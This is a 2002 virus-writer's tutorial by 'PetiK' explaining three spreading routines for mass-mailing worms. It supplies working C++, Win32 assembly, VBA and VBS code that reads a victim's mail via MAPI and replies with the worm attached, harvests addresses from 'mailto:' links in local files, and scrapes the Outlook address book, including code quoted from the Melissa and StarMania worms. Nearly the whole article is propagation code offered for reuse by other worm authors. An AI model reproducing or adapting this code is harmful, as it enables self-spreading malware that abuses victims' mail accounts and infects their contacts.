=== Three ways of spread ===
=== by PetiK (05/20/2002) ===

################
Introducion:
################

I present in this article the tree mains ways that I use to spread my worms.

##############
Read Mail:
##############

I use this first way to code a worm in C++. It is a simple syntax. For this we use
MAPI function : FindNext, ReadMail, SendMail and FreeBuffer

First of all "prepare" the APIs :

```
ULONG (PASCAL FAR *mSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);
ULONG (PASCAL FAR *mLogon)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE);
ULONG (PASCAL FAR *mLogoff)(LHANDLE, ULONG, FLAGS, ULONG);
ULONG (PASCAL FAR *mFindNext)(LHANDLE, ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPTSTR);
ULONG (PASCAL FAR *mReadMail)(LHANDLE, ULONG, LPTSTR, FLAGS, ULONG, lpMapiMessage FAR *);
ULONG (PASCAL FAR *mFreeBuffer)(LPVOID);
```

Then "call" the APIs :

```
hMAPI=LoadLibrary("MAPI32.DLL");
(FARPROC &)mSendMail=GetProcAddress(hMAPI, "MAPISendMail");
(FARPROC &)mLogon=GetProcAddress(hMAPI, "MAPILogon");
(FARPROC &)mLogoff=GetProcAddress(hMAPI, "MAPILogoff");
(FARPROC &)mFindNext=GetProcAddress(hMAPI, "MAPIFindNext");
(FARPROC &)mReadMail=GetProcAddress(hMAPI, "MAPIReadMail");
(FARPROC &)mFreeBuffer=GetProcAddress(hMAPI, "MAPIFreeBuffer");
```

And at the end the syntax to read the mail, take email and send the mail :

```
// Initialize MAPI
mLogon(NULL,NULL,NULL,MAPI_NEW_SESSION,NULL,&session);

// Find the first mail
if(mFindNext(session,0,NULL,NULL,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS) {
  do {

// Read the mail
     if(mReadMail(session,NULL,messId,MAPI_ENVELOPE_ONLY|MAPI_PEEK,NULL,&mes)==SUCCESS_SUCCESS)
{

// Here we take the "name" and the "email" of the guy who send the mail
       strcpy(mname,mes->lpOriginator->lpszName);
       strcpy(maddr,mes->lpOriginator->lpszAddress);
       mes->ulReserved=0;
       mes->lpszSubject="Subject of worm";
       mes->lpszNoteText="Body of Worm.";
       mes->lpszMessageType=NULL;
       mes->lpszDateReceived=NULL;
       mes->lpszConversationID=NULL;
       mes->flFlags=MAPI_SENT;
       mes->lpOriginator->ulReserved=0;
       mes->lpOriginator->ulRecipClass=MAPI_ORIG;
       mes->lpOriginator->lpszName=mes->lpRecips->lpszName;
       mes->lpOriginator->lpszAddress=mes->lpRecips->lpszAddress;
       mes->nRecipCount=1;
       mes->lpRecips->ulReserved=0;
       mes->lpRecips->ulRecipClass=MAPI_TO;

// Here is the new email
       mes->lpRecips->lpszName=mname;
       mes->lpRecips->lpszAddress=maddr;
       mes->nFileCount=1;
       mes->lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
       memset(mes->lpFiles, 0, sizeof(MapiFileDesc));
       mes->lpFiles->ulReserved=0;
```

```
       mes->lpFiles->flFlags=NULL;
       mes->lpFiles->nPosition=-1;
       mes->lpFiles->lpszPathName="C:\WINDOWS\worm.exe";
       mes->lpFiles->lpszFileName="othername.exe";
       mes->lpFiles->lpFileType=NULL;
       mSendMail(session, NULL, mes, NULL, NULL);
       }

// Find the next mail
  }while(mFindNext(session,0,NULL,messId,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS);
free(mes->lpFiles);
mFreeBuffer(mes);

// Close MAPI
mLogoff(session,0,0,0);
FreeLibrary(hMAPI);
}
```

I you can use this function in VBS (or VB), very good (and mail me).

****

```
#####################
# "mailto:" string: #
#####################
```

I'm going to explain how use this way in 3 differents languages

{Win32Asm}

I took the code from my worm I-Worm.Gamma

1st: Open the file

```
       call CreateFileA
       inc  eax
       je   END_S
       dec  eax
       xchg eax,ebx
```

2nd: Map the File

```
       push PAGE_READONLY
       push 0
       push ebx
       call CreateFileMappingA
       test eax,eax
       jz   FERME1
```

3rd:

```
       push FILE_MAP_READ
       push ebp
       call MapViewOfFile
       test eax,eax
       jz   FERME2
       xchg eax,esi

ls_s_m:      call @mt
       db   'mailto:'
       @mt:  pop edi
l_s_m:pushad
       push 07h
       pop  ecx
       rep  cmpsb               ; We compare 7 bytes with "mailto:" string
       popad
       je   s_m
       inc esi
       loop l_s_m

FERME3:      push esi
       call UnmapViewOfFile
FERME2:      push ebp
       call CloseHandle
FERME1:      push ebx
       call CloseHandle
       popad
```

```
      ret

s_m:  xor  edx,edx
      add  esi,7
      mov  edi,offset mail_address     ; and we stock the email in the
      push edi                   ; mail_address offset = EDI
n_c:  lodsb
      cmp  al,' '
      je   s_c
      cmp  al,'"'                ; If charachter = "
      je   e_c
      cmp  al,''''               ; or charachter = ', it is the end of the mail
      je   e_c
      cmp  al,'@'                ; control if exists @
      jne  o_a
      inc  edx
o_a:  stosb
      jmp  n_c
s_c:  inc  esi
      jmp  n_c
e_c:  xor  al,al
      stosb
      pop  edi
      test edx,edx               ; no @ ?? no valid email.
      je   other_file

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

{C++}

In C++, there is three parts.

First : FindFile

      hFile=FindFirstFile(ext,&ffile); //
      if(hFile!=INVALID_HANDLE_VALUE) {      //
            while(abc) {                //
            GetMail(ffile.cFileName,mail);   //
            if(strlen(mail)>0) {             // NO COMMENTS !
            sendmail(mail);                  //
            }                           //
            abc=FindNextFile(hFile,&ffile);  //
            }                           //
      }                                 //


Second : Get the EMail

void GetMail(char *namefile, char *mail)
{

hf=CreateFile(namefile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,0);
if(hf==INVALID_HANDLE_VALUE)
      return;                                    // Like in Win32Asm :
size=GetFileSize(hf,NULL);                       // Open File
if(!size)
      return;                                    // Empty ?? Close it
size-=100;

hf2=CreateFileMapping(hf,0,PAGE_READONLY,0,0,0);
if(!hf2) {
      CloseHandle(hf);                     // Map the file
      return;
      }

mapped=(char *)MapViewOfFile(hf2,FILE_MAP_READ,0,0,0);
if(!mapped) {
      CloseHandle(hf2);
      CloseHandle(hf);
      return;
      }

i=0;
while(i<size && !test) {
if(!strncmpi("mailto:",mapped+i,strlen("mailto:"))) {     // If "mailto:" string exists ??
      test=TRUE;
      i+=strlen("mailto:");
```

```
      k=0;
      while(mapped[i]!=34 && mapped[i]!=39 && i<size && k<127) { // Until " or ' charachter
            if(mapped[i]!=' ') {
                  mail[k]=mapped[i];
                  k++;
                  if(mapped[i]=='@')        // Check @ charachter
                        valid=TRUE;
            }
            i++;
      }
      mail[k]=0;                            // and stock email in mail offset
      } else
      i++;
}

if(!valid)
      mail[0]=0;
UnmapViewOfFile(mapped);
CloseHandle(hf2);
CloseHandle(hf);
return;
}


Third : Send the mail

void sendmail(char *tos)
{
memset(&mess,0,sizeof(MapiMessage));
memset(&from,0,sizeof(MapiRecipDesc));

from.lpszName=NULL;
from.ulRecipClass=MAPI_ORIG;
mess.lpszSubject="Subject of mail";
mess.lpszNoteText="Body of mail";

mess.lpRecips=(MapiRecipDesc *)malloc(sizeof(MapiRecipDesc));
      if(!mess.lpRecips)
      return;
memset(mess.lpRecips,0,sizeof(MapiRecipDesc));
mess.lpRecips->lpszName=tos;                        // Here the mail that we found
mess.lpRecips->lpszAddress=tos;
mess.lpRecips->ulRecipClass=MAPI_TO;
mess.nRecipCount=1;

mess.lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
      if(!mess.lpFiles)
      return;
memset(mess.lpFiles,0,sizeof(MapiFileDesc));
mess.lpFiles->lpszPathName="FullName_of_the_worm.exe";
mess.lpFiles->lpszFileName="othername_of_worm.exe";
mess.nFileCount=1;

mess.lpOriginator=&from;

mSendMail(0,0,&mess,0,0);                   // Send the mail

free(mess.lpRecips);
free(mess.lpFiles);
}


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

{VBS}

Look at my article "VBS Tutorial"


*********************************************************************************************

########################
# Outlook Address Book #
########################


{Win32Asm}
```

In the virus/worm Win32.HiV, Benny scans the default WAB file to spread.
But it was a little difficult for me. Then I coded differently.

To have the path of WAB file:

```
      srch_wab:
      mov   edi,offset wab_path
      push  offset wab_size                 ; = fullname of WAB file
      push  edi
      push  offset reg
      push  0
      @pushsz "Software\Microsoft\Wab\WAB4\Wab File Name" ; The name of WAB file
      push  80000001h
      api   SHGetValueA
```

To open and map file, like for the HTM and HTML file (see on top).
Now, scan the file:

```
      d_scan_mail:
      call  @smtp
      db    'SMTP',00h,1Eh,10h,56h,3Ah; the string what we want to find
      @smtp:
      pop   edi
      s_scan_mail:
      pushad
      push  9
      pop   ecx
      rep   cmpsb
      popad
      je    scan_mail
      inc   esi
      loop  s_scan_mail

      ....

scan_mail:
      xor   edx,edx
      add   esi,21
      mov   edi,offset mail_addr
      push  edi                             ; EDI = EMail
      p_c:  lodsb
      cmp   al," "
      je    car_s
      cmp   al,00h
      je    f_mail
      cmp   al,"@"
      jne   not_a
      inc   edx
      not_a: stosb
             jmp p_c
      car_s: inc esi
             jmp p_c
      f_mail:      xor al,al
             stosb
             pop edi
             test edx,edx
             je  d_scan_mail
             call  send_mail
             jmp d_scan_mail


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
```

{VBA}
I took the code from W97M.Melissa.A:

```
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
```

```
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Subject of the worm"
         BreakUmOffASlice.Body = "Body of the Worm"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
DasMapiName.Logoff
End If


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

{VBS}
I took the code from VBS.StarMania:

Set O=CreateObject("Outlook.Application")
Set mapi=O.GetNameSpace("MAPI")
For Each AL In mapi.AddressLists
If AL.AddressEntries.Count <> 0 Then
For AddListCount = 1 To AL.AddressEntries.Count
Set ALE = AL.AddressEntries(AddListCount)
Set go = O.CreateItem(0)
go.To = ALE.Address
go.Subject = "GUESS"
go.Body = "GUESS"
go.Attachments.Add(WScript.ScriptFullName)
go.DeleteAfterSubmit = True
go.Send


*****************************************************************************************************

###############
# Conclusion: #
###############

This is the end of this article.
If you have some questions or suggestions, please mail me to petikvx@aol.com

                          PetiK (www.petikvx.fr.fm)
```